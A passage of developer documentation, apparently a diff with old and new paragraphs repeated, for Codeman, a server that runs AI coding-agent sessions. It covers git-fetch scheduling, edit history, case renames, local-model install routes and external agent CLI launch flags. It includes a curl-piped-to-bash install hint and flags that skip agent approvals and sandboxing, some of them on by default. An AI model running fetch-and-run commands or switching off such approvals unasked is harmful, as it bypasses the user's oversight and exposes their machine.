at a time across the whole run (one shared bound, not one per repository group; a scheduled tick keeps that one bound for all its folders, so 4 folders do not mean 4 × 4, and works at most 4 folders at a time), one spawn per repository with the same per-command timeout, which reaches the whole process group rather than only the `git` parent (a fetch over http spawns helper processes, and a timeout that signals the parent alone can leave one running after the answer goes out), `GIT_TERMINAL_PROMPT=0` plus BatchMode ssh so a repository that needs a login fails fast instead of hanging the request on an invisible prompt. Codeman supplies no credentials, so a repository your own git is already signed in to works because that is your existing setup. That BatchMode ssh is a default, never an override: your own `GIT_SSH_COMMAND` and the repository's `core.sshCommand` are honoured, and ⚠️ the default's `StrictHostKeyChecking=accept-new` records an unknown host key in `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write. A click joins a run already going for the same folder, and the click publishes the trigger of the run it actually did (`click` when the click was the run, `interval` when it joined a tick already going, because a click that fetched nothing cannot report itself as the fetch) as the session's `gitFetch` state (below), so another tab open on the same folder sees the same run.
`POST /api/sessions/:id/git-fetch` is the panel's **Fetch** button: one `git fetch --quiet` per repository the panel would show, through the same resolver so the two cannot disagree about which repositories belong to a workspace, with the same `maxRepos` and `timeout` clamps. It is the only git command the Git panel runs that writes (cloning and worktree management write too, but only when you asked for them at the moment you asked), and it writes remote-tracking refs only: nothing commits, checks out, merges or touches the working tree. It is not quite as harmless as a read: a fetch holds git's ref lock, so an agent's own `git pull` in the same clone can hit the same `cannot lock ref` while a fetch is running, which is why one folder is fetched by one run at a time. It runs on that click, or on the interval below and never otherwise, and `git fetch` is exactly the command that can run a repository's own hooks (`reference-transaction`, `pre-auto-gc` through the automatic maintenance a fetch triggers, and config commands such as `credential.helper`), which is why nothing runs on a timer until you opt in, and why a repository at or inside a Docker case workspace is refused before any git runs. Remote, Docker and adopted sessions answer `state: 'unsupported'` like the status route. Bounded: 4 repositories at a time across the whole run (one shared bound, not one per repository group; a scheduled tick keeps that one bound for all its folders, so 4 folders do not mean 4 × 4, and works at most 4 folders at a time), one spawn per repository with the same per-command timeout, which reaches the whole process group rather than only the `git` parent (a fetch over http spawns helper processes, and a timeout that signals the parent alone can leave one running after the answer goes out), `GIT_TERMINAL_PROMPT=0` plus BatchMode ssh so a repository that needs a login fails fast instead of hanging the request on an invisible prompt. Codeman supplies no credentials, so a repository your own git is already signed in to works because that is your existing setup. That BatchMode ssh is a default, never an override: your own `GIT_SSH_COMMAND` and the repository's `core.sshCommand` are honoured, and ⚠️ the default's `StrictHostKeyChecking=accept-new` records an unknown host key in `~/.ssh/known_hosts` without asking: BatchMode stops a prompt, not a write. A click joins a run already going for the same folder, and the click publishes the trigger of the run it actually did (`click` when the click was the run, `interval` when it joined a tick already going, because a click that fetched nothing cannot report itself as the fetch) as the session's `gitFetch` state (below), so another tab open on the same folder sees the same run.
`data` is `{ state, repos, reposTruncated, repoLimit, fetchedAt }`, `repos[]` each `{ name, path, ok }` and, when it failed, `failure` (`{ code, message, stderr }`: the codes as in the clone failures, plus `NO_REMOTE`). A repository that could not be fetched keeps its row rather than being dropped. The panel shows the result under its list and then re-reads, so `behind` reflects what this fetch brought.
The interval is two **synced** settings in `PUT /api/settings` (`src/git-fetch-scheduler.ts`): `gitFetchEnabled` (default `false`) and `gitFetchIntervalSeconds` (30 to 3600, default 300, the gap between runs timed from the start of a run so a slow repository does not push the next one out). Synced, not per-device, because the server is what acts on them; the scheduler reads them fresh on each 15 s tick, so a change works without a restart. A session can override both, and the override wins even while the app-wide switch is off: `POST /api/sessions/:id/git-fetch-settings` takes `{ "enabled": true | false | null, "intervalSeconds": number | null }` (`null` on a field clears that half so the app value applies again, a field left out of the body leaves the other half as it was), is `400 INVALID_INPUT` for a remote or Docker session, and answers `200` with `{ gitFetchSettings: { enabled, intervalSeconds } }` where `null` means the session follows the app. What the last run did rides the session state as `gitFetch` (`{ ranAt, trigger, state, repos, failed, firstFailure? }`, `trigger` is `click` or `interval`), on the existing `SessionUpdated` event: no new event. Sessions on the same folder share one run and both see its result, the schedule is keyed by folder, and a folder is fetched by at most one run at a time; a folder is due when ANY session open on it is due, so the order the sessions were read cannot decide which interval wins, and the folder is probed once for the whole group rather than once per session on it; every session open on a folder is remembered, so closing the one that holds the override does not stop that folder's fetching while another session is still open on it. The tick skips anything its bounded probe does not confirm is a directory, stamps each folder's schedule when it picks it, and does not run a second tick over a selection still going. Remote and Docker sessions are never fetched on a timer, and the Docker rule is re-checked against the CURRENT Docker roots every tick. Both fetch paths fail closed on a Docker case list (`docker-cases.json`) that exists but cannot be read or parsed: a click answers `200` with `state: 'error'` and publishes that as its `gitFetch`, and a tick fetches nothing and leaves its folders due for the next tick, since without the list nothing tells which folders a container can write to (the read-only status and diff routes keep reading such a list as no Docker workspaces).
The interval is two **synced** settings in `PUT /api/settings` (`src/git-fetch-scheduler.ts`): `gitFetchEnabled` (default `false`) and `gitFetchIntervalSeconds` (30 to 3600, default 300, the gap between runs timed from the start of a run so a slow repository does not push the next one out). Synced, not per-device, because the server is what acts on them; the scheduler reads them fresh on each 15 s tick, so a change works without a restart. A session can override both, and the override wins even while the app-wide switch is off: `POST /api/sessions/:id/git-fetch-settings` takes `{ "enabled": true | false | null, "intervalSeconds": number | null }` (`null` on a field clears that half so the app value applies again, a field left out of the body leaves the other half as it was), is `400 INVALID_INPUT` for a remote, Docker or adopted session, and answers `200` with `{ gitFetchSettings: { enabled, intervalSeconds } }` where `null` means the session follows the app. What the last run did rides the session state as `gitFetch` (`{ ranAt, trigger, state, repos, failed, firstFailure? }`, `trigger` is `click` or `interval`), on the existing `SessionUpdated` event: no new event. Sessions on the same folder share one run and both see its result, the schedule is keyed by folder, and a folder is fetched by at most one run at a time; a folder is due when ANY session open on it is due, so the order the sessions were read cannot decide which interval wins, and the folder is probed once for the whole group rather than once per session on it; every session open on a folder is remembered, so closing the one that holds the override does not stop that folder's fetching while another session is still open on it. The tick skips anything its bounded probe does not confirm is a directory, stamps each folder's schedule when it picks it, and does not run a second tick over a selection still going. Remote, Docker and adopted sessions are never fetched on a timer, and the Docker rule is re-checked against the CURRENT Docker roots every tick. Both fetch paths fail closed on a Docker case list (`docker-cases.json`) that exists but cannot be read or parsed: a click answers `200` with `state: 'error'` and publishes that as its `gitFetch`, and a tick fetches nothing and leaves its folders due for the next tick, since without the list nothing tells which folders a container can write to (the read-only status and diff routes keep reading such a list as no Docker workspaces).
## Edit history
What the Edit history panel reads (Settings → Header & Panels → Header, per-device, default off): the edits a **local claude session** made, main agent and subagents, read from its transcripts. Read-only. Every route resolves the session through `findSessionOrFail` (another user's session is `404`). Remote, Docker and non-claude sessions answer `state: 'unsupported'` and are never read.
What the Edit history panel reads (Settings → Header & Panels → Header, per-device, default off): the edits a **claude session** made (local or remote SSH), main agent and subagents, read from its transcripts. Read-only. Every route resolves the session through `findSessionOrFail` (another user's session is `404`). A remote session is read over ssh and never woken: a sleeping host answers `unavailable`. Docker, non-claude and adopted sessions answer `state: 'unsupported'` and are never read.
`GET /api/sessions/:id/edits[?sync=1]` lists the stored edits, newest first, without diffs: `{ state, reason?, backfillTruncated, agents, entries }`. With `sync=1` it first reads what the transcripts gained since the last read (after `/clear` or a resume, the previous conversation's transcripts to their end first); without it the server reads nothing. `state` is `ok`, `unavailable` (stored entries only; `reason` is `no-transcript` before the session has a transcript Codeman can find, `removed` while the session's history is being deleted, or the read error; the transcript is the one the session's hooks report, else the newest `<id>.jsonl` under the session's `CLAUDE_CONFIG_DIR` override or the server's config dir) or `unsupported` (`reason`: `remote`, `docker`, `mode`). Each entry is `{ id, ts, path, relPath, kind: 'code'|'image', tool, created, added, removed, truncated, agentId? }`, where `tool` is the edit tool, `bash` for an image a Bash call produced or `sent` for one the agent sent; `relPath` is relative to the workspace (a subagent's worktree for its edits). `agents` maps a subagent id to `{ description, agentType, worktreeBranch? }`. `backfillTruncated: true` means older edits can still be loaded.
`GET /api/sessions/:id/edits[?sync=1]` lists the stored edits, newest first, without diffs: `{ state, reason?, backfillTruncated, agents, entries }`. With `sync=1` it first reads what the transcripts gained since the last read (after `/clear` or a resume, the previous conversation's transcripts to their end first); without it the server reads nothing. `state` is `ok`, `unavailable` (stored entries only; `reason` is `no-transcript` before the session has a transcript Codeman can find, `removed` while the session's history is being deleted, or the read error; the transcript is the one the session's hooks report, else the newest `<id>.jsonl` under the session's `CLAUDE_CONFIG_DIR` override or the server's config dir; a remote session sends no hooks, so its host is asked over ssh for the conversation the pane's claude writes now, else the most recently written of the stored conversation, the session's `claudeSessionId` and its id, under the host's `CLAUDE_CONFIG_DIR` or `~/.claude`) or `unsupported` (`reason`: `docker`, `mode`, `adopted`). Each entry is `{ id, ts, path, relPath, kind: 'code'|'image', tool, created, added, removed, truncated, agentId? }`, where `tool` is the edit tool, `bash` for an image a Bash call produced or `sent` for one the agent sent; `relPath` is relative to the workspace (a subagent's worktree for its edits). `agents` maps a subagent id to `{ description, agentType, worktreeBranch? }`. `backfillTruncated: true` means older edits can still be loaded.
`GET /api/sessions/:id/edits/:entryId` returns one edit's diff as unified text: `{ diff, truncated }` (each edit's diff is capped at 64 KiB). `404` for an edit the session does not have.
@@ -1458,7 +1609,7 @@ A local case whose folder is the top of a git repository can keep **worktrees**
A non-admin's `POST /api/quick-start` and `POST /api/ralph-loop/start` work as before but do not record their case as `lastUsedCase` (a server-wide key).
`POST /api/cases/:name/rename` (body `{ newName, renameFolder?, stopSessions? }`, strict) renames a case. It is not one of the admin-only writes above: in multi-user mode a non-admin renames their own cases, and only the `settings.json` part is skipped for them. A case under the cases directory is its folder, so it always moves; a linked case renames its alias in `linked-cases.json` and moves its real folder (next to the old one, named `newName`) only with `renameFolder: true`. Remote and Docker cases are `400`. The new name must be free in every namespace the list merges (`409`). Live sessions whose working directory is at or inside the folder that would move make it `409` with `requiresStop: true` and `sessions: [{ id, name }]`; retry with `stopSessions: true` to end them first (they are closed as by `DELETE /api/sessions/:id`, nothing is restarted); another user's session is `403`. The folder is held by an in-process lock for the whole operation (an overlapping rename is `409 BUSY`, and `new Session` refuses a working directory inside it); a session that is still being created in the folder (constructed, not yet registered, so it can be neither listed nor stopped) makes a folder move `409` with `renameCode: "BUSY"` too, and a retry once it is registered lists it like any open session; the move is retried for a transient `EBUSY`/`EPERM`/`EACCES` and then answers `423` with `renameCode: "LOCKED"`, a cross-device move is `400`, and if the registries cannot be written afterwards `settings.json` and the folder are put back (when the folder cannot be moved back, the `500` says it is now at the new path). An error from the rename itself carries `stoppedSessions`: how many sessions it ended before it failed. On success the response is `{ oldName, newName, oldPath, newPath, folderMoved, stoppedSessions }`; `caseOrder` and `lastUsedCase` (in multi-user mode, by an admin's rename only), `linked-cases.json` and Claude Code's `projects/<path>` history are updated (history already at the new path is merged into, never overwritten), and `case:renamed` is broadcast. A linked case is admin only in multi-user mode: for a non-admin the name is looked up in their own case space only (`404` when they have no case of that name).
`POST /api/cases/:name/rename` (body `{ newName, renameFolder?, stopSessions? }`, strict) renames a case. It is not one of the admin-only writes above: in multi-user mode a non-admin renames their own cases, and only the `settings.json` part is skipped for them. A case under the cases directory is its folder, so it always moves; a linked case renames its alias in `linked-cases.json` and moves its real folder (next to the old one, named `newName`) only with `renameFolder: true`. Remote and Docker cases are `400`. The new name must be free in every namespace the list merges (`409`). Live sessions whose working directory is at or inside the folder that would move make it `409` with `requiresStop: true` and `sessions: [{ id, name }]`; retry with `stopSessions: true` to end them first (they are closed as by `DELETE /api/sessions/:id`, nothing is restarted); another user's session is `403`. The folder is held by an in-process lock for the whole operation (an overlapping rename is `409 BUSY`, and `new Session` refuses a working directory inside it); a session that is still being created in the folder (constructed, not yet registered, so it can be neither listed nor stopped) makes a folder move `409` with `renameCode: "BUSY"` too, and a retry once it is registered lists it like any open session; the move is retried for a transient `EBUSY`/`EPERM`/`EACCES` and then answers `423` with `renameCode: "LOCKED"`, a cross-device move is `400`, and if the registries cannot be written afterwards `settings.json` and the folder are put back (when the folder cannot be moved back, the answer is `500` and says it is now at the new path). A failed write is `500`. A linked case's entry is checked again where it is written, after any folder move, and a refusal there puts everything back the same way: a new name linked since the first check is `409 ALREADY_EXISTS` with `renameCode: "EXISTS"`, an old entry unlinked or changed since then is `409 CONFLICT` with `renameCode: "BUSY"`, and a `linked-cases.json` that stopped being readable or a JSON object is `409 CONFLICT` with no `renameCode` (one already damaged when the rename starts reads as empty, so a linked name answers `404`). An error from the rename itself carries `stoppedSessions`: how many sessions it ended before it failed. On success the response is `{ oldName, newName, oldPath, newPath, folderMoved, stoppedSessions }`; `caseOrder` and `lastUsedCase` (in multi-user mode, by an admin's rename only), `linked-cases.json` and Claude Code's `projects/<path>` history are updated (history already at the new path is merged into, never overwritten), and `case:renamed` is broadcast. A linked case is admin only in multi-user mode: for a non-admin the name is looked up in their own case space only (`404` when they have no case of that name).
### System operations
@@ -1563,6 +1714,98 @@ Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge cre
`GET /api/doctor[?category=core|office|other]` returns the `codeman doctor --json` report (`platform`, `summary`, `tools[]` with `status` `ok` \| `missing` \| `outdated` \| `skipped` \| `error`, `version`, `path`, `installHint`). The probe engine is synchronous, so it runs in a child process of the same entry script, never on the server's event loop (30 s timeout). It names install paths and versions, so it is admin only in multi-user mode (`403`). `400` for an unknown category, `500` if the child produces no report.
## Local model
`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, with which agent CLI, and where an install of one stands. Five verbs install a model, pause and continue the install, stop and start the model runtime, and remove everything again. It covers Apple silicon macOS only; anywhere else the GET is still a `200`, with verdict `none`, and nothing can be installed. How it works: [local-models.md](local-models.md).
**Experimental.** These routes and their payloads are labeled experimental: the fields below, the states, the error codes and the sentences may change or go in a MINOR or PATCH release (see [versioning-policy.md](versioning-policy.md), "What SemVer does NOT cover", item 3). Do not build on their shape yet.
Every route is admin only in multi-user mode (`403 FORBIDDEN`, answered before anything is probed, parsed or started): the GET names the host's hardware, and the verbs download and run a program, install an agent CLI and write the server-wide settings. There is no SSE event: the window polls the GET once a second while it is open.
| Method | Path | Body | Notes |
| -------- | -------------------------- | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `GET` | `/api/local-model` | none | `200` with `{ hardware, recommendation, catalogUpdated, install }`. `500 INTERNAL_ERROR` only when the recommendation itself fails, never for a failed probe. |
| `POST` | `/api/local-model/install` | `{ modelId, cli, context, acknowledgedBytes }` | Starts the one install job and answers at once; the job runs on in the server. `400 INVALID_INPUT` when the three choices are not a row the server offers right now. `409`: `job-running`, `already-installed`, `size-changed`. |
| `POST` | `/api/local-model/cancel` | none | Interrupts the step in flight; the job is `paused` at that step. `409 wrong-state` when no job is running. |
| `POST` | `/api/local-model/resume` | `{ newPort? }` (may be absent) | Continues a `paused` or `failed` job at the same step. `newPort: true` chooses another port first. `409`: `job-running`, `wrong-state`, `sessions-open` (`newPort` while live sessions use the model). |
| `POST` | `/api/local-model/runtime` | `{ action: "start" \| "stop", newPort? }` | `stop` stops the runtime and keeps it from starting at the next boot; `start` undoes that. `newPort: true` with `start` chooses another port and moves the saved endpoint to it. `409`: `job-running`, `wrong-state` (nothing is installed), `sessions-open` (`stop` or `newPort` while live sessions use the model: their agents keep calling the address they were started with). |
| `DELETE` | `/api/local-model` | `{ removeModel? }` (may be absent) | Stops the runtime, removes the saved endpoint, restores the settings flag when this feature switched it on and no other endpoint is saved, deletes the runtime; the model only with `removeModel: true`. `409`: `job-running`, `sessions-open`. |
Every verb answers `{ success: true, data: <install> }` with the `install` object (below) as it is after the verb. A refusal the feature names is a `409` whose envelope also carries the conflict:
```json
{
"success": false,
"error": "The download is 23.3 GB now. Check the sizes and confirm again.",
"errorCode": "CONFLICT",
"data": {
"reason": "size-changed",
"message": { "text": "The download is {size} GB now. Check the sizes and confirm again.", "vars": { "size": "23.3" } },
"expectedBytes": 23291770627,
"expectedGb": "23.3"
}
}
```
`data.reason` is `job-running`, `already-installed` (remove the installed model first), `size-changed` (with `expectedBytes` and `expectedGb`), `sessions-open` (with `sessions`, the names of the live sessions that use the model) or `wrong-state`. A `409 CONFLICT` without `data` means a config file that must not be overwritten (`settings.json` or `custom-model-hosts.json` does not parse); `error` names the fix.
`POST /api/local-model/install` also answers `400` when a saved model endpoint already uses the id `local-ollama` and was not created by this feature: rename or delete that endpoint first. The check is made before anything is downloaded. Every `400` the install names, and the `507 OPERATION_FAILED` of a first install on a full disk, carries its sentence as `data.message` (`{ text, vars }`, like a `409`), so a client can print it in its own language.
**Consent is bound to the size shown.** `acknowledgedBytes` must be the `installBytes` of the chosen row: the model download plus the runtime download while the runtime is not unpacked yet. The server compares it with its own total before anything starts and answers `409 size-changed` when they differ, so a click confirms exactly the size the person saw.
A probe that fails is an answer, not an error: a server that is not on macOS, or a Mac whose `sysctl` call failed or timed out, still gets a `200`, and `hardware.source` says what was read.
`data`:
- `hardware`: what the server sees of the machine it runs on.
- `platform`, `arch`: `process.platform` and `os.arch()` of the server process. `arm64: true` means the machine is Apple silicon whatever `arch` says; `translated: true` means the server process runs under Rosetta.
- `memBytes`, `memGb` (the bytes as decimal GB text, `"51.5"` for a 48 GB Mac) and `memClassGb` (the memory size the Mac is sold as: 16, 32, 48; `0` when the size could not be read). `memClassGb` is what to show as the installed memory: it is the number on the box and in About This Mac. It is the one size here that is not decimal GB.
- `chip`, `model`, `macosVersion`, `macosMajor`, `wiredLimitMb` (`0` means not set), `freeDiskBytes` and `freeDiskGb` (free space on the filesystem of Codeman's data directory). Each is absent when it could not be read.
- `source`: `sysctl` (the one bounded `sysctl` call answered), `os-fallback` (macOS, but that call failed: memory, architecture, the chip name and the free disk space come from Node, and nothing only `sysctl` knows, such as `arm64`, `translated`, `model`, `macosVersion`, `macosMajor` or `wiredLimitMb`, is present) or `not-probed` (not macOS, nothing was run).
- `recommendation`:
- `verdict`: `ok`, `limited` or `none`. `limited` is a statement about the Mac: no model with 12 billion parameters or more fits its memory, so what it can run handles small edits and questions and does not replace a cloud model. It is judged on every model that fits, before the free disk space is looked at and whatever the pick is. With `ok` the pick can still be a small model (a larger one may be slow, have no speed figure or have no room on the disk); `notes` then says so.
- `reason`, present only with `none`: `not-macos`, `intel`, `memory`, `disk`, `macos` (too old) or `no-harness` (no agent CLI that can be connected to a local model is installed or installable). `memory` has three sentences: nothing fits at all (slot `memory`, the size the Mac is sold as), a model fits but only below the context length an agent CLI needs (slots `budget` and `need`, so a Mac that misses by a little reads as that), and the memory size could not be read (no slot).
- `headline` and `notes[]`: `{ text, vars? }`. `text` is an English sentence that may hold `{placeholder}` slots, and `vars` carries the slot values as text. Notes, in order: the pick is a small model although larger ones fit (verdict `ok` only); a model that fits the memory was left out because its download would not leave 10 GiB free on the disk (slots `model` and `missing`: the best-ranked such model and the GB to free up); nobody tested the pick on a Mac like this one.
- `pick` (absent with `none`) and `alternatives[]` (at most four, best first; empty with `none`), each one model at one context length with one agent CLI. The order: a pair tested on a Mac like this one first, then speed (`ok` before `unknown` before `slow`), then the model's rank, the agent CLI's rank and the larger context. The memory fit decides whether a row is listed and what it says (`fit`, `tag`), it does not sort, so a model is offered at the largest context it fits at. A model whose download would leave less than 10 GiB free on the disk is not listed (an unknown free disk space excludes nothing):
- `modelId` (`name:tag`), `modelLabel`, `license`, `paramsB` (parameters in billions), `context` (tokens);
- `cli`, `cliLabel`, `cliInstalled` (`false`: the CLI is not on this machine yet but can be installed without administrator rights), `slowFirstTurn?`;
- `needBytes` and `needGb` (memory the model needs at that context, at its PEAK: the weights, what stays held per token of context, what the runner holds beside both, and what it takes for a moment while a long prompt is processed), `needSource` (`measured`: the figures were measured for this model on a Mac; `estimated`: they are another model's), `downloadBytes` and `downloadGb`, `budgetShare` (need divided by `budgetBytes`, rounded to three decimals);
- `installBytes` and `installGb`: the whole download a click on Install starts for this row, `downloadBytes` plus the runtime archive while the runtime is not unpacked. It is the number to send as `acknowledgedBytes`;
- `harnesses[]`: every agent CLI the model can be run with at this context, best first: `{ cli, cliLabel, installed, installCommand?, slowFirstTurn? }`. `installCommand` is the literal command the install would run for a CLI that is not installed (the release's own stock command), for the consent screen. The first entry is the one the flat `cli` fields name;
- `tag?`: `{ kind, label }`, the one tag of the row. `kind` is `tested`, `best`, `tight`, `slow` or `small`;
- `fit`: `good` (up to 0.85 of the budget) or `tight` (up to 0.98), with its label `fitLabel`;
- `speed`: `ok`, `slow` (under 10 tokens per second) or `unknown`, with `speedLabel` (absent for `ok`) and `tokensPerSecond` (rounded to one decimal, absent for `unknown`; `speed` is decided on the unrounded figure, so `10` can be `slow`). `unknown` means the chip is in no row of the catalogue's chip table, or the catalogue has no speed figure for the model: a speed is never guessed;
- `tested`: we ran this model with this CLI on a Mac like this one (same chip, same memory size). Its `tokensPerSecond` is then the speed measured in that run.
- `budgetBytes` and `budgetGb`: the memory a model may use on this Mac (`0` for `not-macos` and `intel`, where none is computed). `budgetSource` is `estimated` (computed from the installed memory: all there is before the runtime ran), `wired-limit` (taken from `iogpu.wired_limit_mb`) or `measured` (the device total the runtime itself printed when it started; the GET uses it from the first install on).
- `catalogUpdated`: ISO date on which the catalogue's rows were last checked.
- `install`: where the install stands and what can be done about it.
- `state`: `idle` (nothing installed, no job), `installing`, `paused` (Cancel or a server restart stopped the job; it never continues without a click), `failed` or `installed`.
- `step` and `steps[]` (present with `installing`, `paused` and `failed`): the step the job is in or stopped in, and the steps of this job in order, out of `runtime`, `model`, `verify`, `agent`, `connect`. `agent` is absent from a job whose agent CLI was already installed.
- `progress` (while a download runs, and as it stood on a paused or failed job): `completedBytes`, `totalBytes`, `completedGb`, `totalGb`, and while it moves `bytesPerSecond`, `mbPerSecond` (whole decimal megabytes per second as text) and `secondsLeft`. During the `model` step both byte figures come from the download's own lines, not from the catalogue.
- `error` (with `failed`; with `installed` only when something blocks a session): `{ code, message: { text, vars? }, next, nextModel?, detail? }`. `next` is the ONE action that helps: `retry` (`POST .../resume`), `other-port` (`POST .../resume` or `.../runtime` with `newPort: true`), `next-model` (choose again; `nextModel` is `{ modelId, modelLabel }` when the server knows one), `start` (`POST .../runtime`) or `remove` (`DELETE`). `detail` is raw text for the curious (an installer's last lines), not translated.
- `model` (`{ id, label }`), `cli`, `cliLabel`, `context`: the choice of the job or of the installation. `port`: the runtime's loopback port, once chosen.
- `running`: the runtime Codeman started is alive right now. A runtime the person stopped is `running: false` with no `error`.
- `loaded` (with `installed`): what the runtime reported when the job checked the loaded model: `context`, `memoryBytes`, `memoryGb`, `onGpu`.
- `endpointId` (with `installed`): the saved model endpoint a session is started on, with `cli`.
- `developerTools`: `present`, `missing` (the Mac has no Xcode or Command Line Tools, so macOS will offer to install them the first time an agent runs `git` or `python3`) or `unknown`.
- `runtime`: `{ version, installed, downloadBytes, downloadGb, unpackedGb }`. `downloadBytes` is `0` once the runtime is unpacked.
- `folder`: the absolute folder everything of this feature is kept in.
- `actions[]`: exactly what the server accepts right now, out of `install`, `cancel`, `resume`, `start`, `stop`, `remove` and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs and nothing blocks a session).
Error codes (`install.error.code`), each with one next step:
| Next step | Codes |
| ------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `retry` | `runtime-download-failed`, `runtime-damaged`, `runtime-unpack-failed`, `runtime-start-failed`, `disk-full`, `pull-failed`, `context-not-applied`, `load-failed`, `probe-unfinished`, `harness-failed`, `endpoint-id-taken`, `connect-failed`, `internal` |
| `start` | `runtime-stopped` (the runtime crashed three times in a row and is no longer restarted) |
| `other-port` | `port-in-use` |
| `next-model` | `model-not-found`, `does-not-fit`, `no-tool-call` |
| `remove` | `model-changed` (the model's digest is no longer the one stored at install time; a session on it is refused) |
Starting a session on the saved endpoint goes through the existing custom model launch (`POST /api/quick-start` with `customModel`, or `POST /api/sessions/:id/custom-model`). For the endpoint this feature manages both answer `OPERATION_FAILED` with one sentence while the runtime is not running, when the model's digest changed, or for a model other than the installed one.
Every computed size a person reads travels twice: as bytes, and as decimal GB text without the unit (`"needGb": "29.6"`). Show the text and add the unit; do not divide the bytes yourself, so one request never shows two different roundings. The installed memory is the exception named above: show `memClassGb`.
## Voice dictation
Browser dictation transcribed through this server's Claude Code login, i.e. the
+131 -23
View File
@@ -41,7 +41,7 @@ Pure helpers unit-tested in `test/base-path.test.ts` + `test/webview-proxy.test.
### External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek, OMP)
**External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek, OMP)**: `isExternalCliMode()` in `session.ts` (`mode === 'opencode' || 'codex' || 'gemini' || 'antigravity' || 'pi' || 'grok' || 'deepseek'`) gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). ⚠️ **Work detection left this gate in #385** and is now per-CLI `capabilities.workDetect` data (`promptGlyph` + `workingLine`), because gating it on the mode left every Codex session reporting `idle` for its entire life; a CLI declaring neither falls back to Claude's pair, which is logic-identical to the pre-registry behaviour. All seven modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv` (socket-scoped `${this.tmux()} setenv`, never on the spawn command line): OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars`), Gemini gets `GEMINI_API_KEY`/`GOOGLE_API_KEY`/`GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI` etc. (`setGeminiEnvVars`, all in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--model`, `--config model_reasoning_effort=<level>` from `reasoningEffort`, `--config tui.animations=<bool>` from `animations`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode). Gemini specifics: command built by `buildGeminiCommand()` (`--skip-trust` always, `--approval-mode <default|auto_edit|yolo|plan>` defaulting to `yolo` for parity with Claude's `--dangerously-skip-permissions`, `--model`, `--resume` from the `geminiConfig` payload); availability via `GET /api/gemini/status` — session/quick-start routes fail with `OPERATION_FAILED` + install hint (`npm install -g @google/gemini-cli`) when missing. Codex, Gemini, Antigravity, Pi, Grok, DeepSeek and OMP export `COLORTERM=truecolor` and unset `NO_COLOR`; `opencode` unsets `COLORTERM`. **Terminal colour env** under Session launch modes covers Claude and says which panes those declarations actually reach. Gemini joins `isAltScreenStripMode()` (Codex/Claude/Gemini are Ink TUIs that repaint inline → strip alt-screen/`3J` so scrollback survives). Codex availability via `GET /api/codex/status`. Antigravity specifics: command built by `buildAntigravityCommand()` (`--model`, `--conversation <id>` resume, `--dangerously-skip-permissions` from the `antigravityConfig` payload); availability via `GET /api/antigravity/status` — routes fail with `OPERATION_FAILED` + install hint (`curl -fsSL https://antigravity.google/cli/install.sh | bash`) when missing. Unlike the other three it is NOT an npm package (standalone binary, `~/.local/bin/agy`), which is why `docker/agent.Dockerfile` installs it with its own `--dir /usr/local/bin` step rather than in the `npm install -g` line, and why it does NOT join `isAltScreenStripMode()`. Frontend: run-mode dropdown → `runCodex()`/`runGemini()` in `session-ui.js` ("Run CX"/"Run GM" labels), App Settings → Agents & CLIs → Codex; Respawn/Ralph options are Claude-only, so session options open on the Session tab for external CLI sessions. ⚠️ `run*()` MUST unwrap the `{success,data}` envelope (`(await res.json()).data.available` / `data.data.sessionId`) — reading the raw shape silently breaks the run. Tests: `test/run-mode-ui.test.ts` + `test/gemini-mode.test.ts` (vm-sandbox harness, no real DOM). Grok specifics: command built by `buildGrokCommand()` (`--always-approve` from `grokConfig.alwaysApprove` — grok's `bypassPermissions` permission mode, deny rules still apply; `--model`; `--resume <id>` / `--continue`, id-regexed so grok's resume-by-TITLE feature can never put an arbitrary string on the spawn line); availability via `GET /api/grok/status`, which carries `version` because the resolver version-probes candidates (`grok` has npm squatters, e.g. @vibe-kit/grok-cli — `GROK_VERSION_REGEX` is shared with the dependency registry so doctor and run mode agree). Like antigravity it is a standalone binary (xAI installer → `~/.grok/bin`, symlinked into `~/.local/bin`), so `docker/agent.Dockerfile` installs it in its own step (copy to `/usr/local/bin`, drop root's `~/.grok` in the same layer) and it stays OUT of `isAltScreenStripMode()` (fullscreen alt-screen TUI with mouse support — the opencode case, which is now `isMuxMouseStripMode`, not the Ink case). Env allowlist: `GROK_*` plus the vendor namespace `XAI_*` (`XAI_API_KEY` is grok's documented headless auth var — the same narrow-vendor-namespace reasoning as `GOOGLE_*` for gemini). Docker cred seeding is per-file (`auth.json`, `config.toml`, `pager.toml` from `~/.grok` — the dir also holds `sessionsLine truncated
